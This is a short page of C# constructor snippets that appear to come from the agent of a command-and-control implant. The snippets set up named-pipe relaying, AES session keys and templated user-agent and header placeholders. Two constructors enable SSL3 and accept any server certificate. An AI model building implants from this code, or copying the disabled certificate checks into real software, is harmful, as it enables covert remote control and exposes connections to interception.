public AgentInstanceNamedPipe(NamedPipeServerStream pipe, Worker w)
        {
            this.pipe       = pipe;
            this.agentid    = w.agentid;
            this.serverkey  = w.serverkey;
            this.sessionkey = w.serverkey + agentid;
            this.wc         = w.wc;
            host            = w.host;
            port            = w.port;
            pagepost        = w.pagepost;
            pageget         = w.pageget;
            param           = w.param;

            WebHeaderCollection webHeaderCollection = new WebHeaderCollection();

            webHeaderCollection.Add(HttpRequestHeader.UserAgent, "#USERAGENT#");

            //#HEADERS#

            wc.Headers = webHeaderCollection;

            ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); });

            //this.webaeskey = aeskey;
            //this.webaesiv = aesiv;
            this.commands = w.commands;
        }
Exemple #2
0
 public CommandExecuter(Utility.TaskMsg task, NamedPipeClientStream pipe, Utility.CookiedWebClient wc, byte[] aeskey, byte[] aesiv, string agentid, string processname)
 {
     this.task        = task;
     this.pipe        = pipe;
     this.wc          = wc;
     this.aeskey      = aeskey;
     this.aesiv       = aesiv;
     this.agentid     = agentid;
     this.processname = processname;
 }
        public AgentInstanceNamedPipe(NamedPipeServerStream pipe, string agentid, string serverkey, Dictionary <string, List <Utility.TaskMsg> > commands)
        {
            this.pipe       = pipe;
            this.agentid    = agentid;
            this.serverkey  = serverkey;
            this.sessionkey = serverkey + agentid;
            this.wc         = new Utility.CookiedWebClient();

            WebHeaderCollection webHeaderCollection = new WebHeaderCollection();

            webHeaderCollection.Add(HttpRequestHeader.UserAgent, "#USERAGENT#");

            //#HEADERS#

            wc.Headers = webHeaderCollection;

            ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); });

            //this.webaeskey = aeskey;
            //this.webaesiv = aesiv;
            this.commands = commands;
        }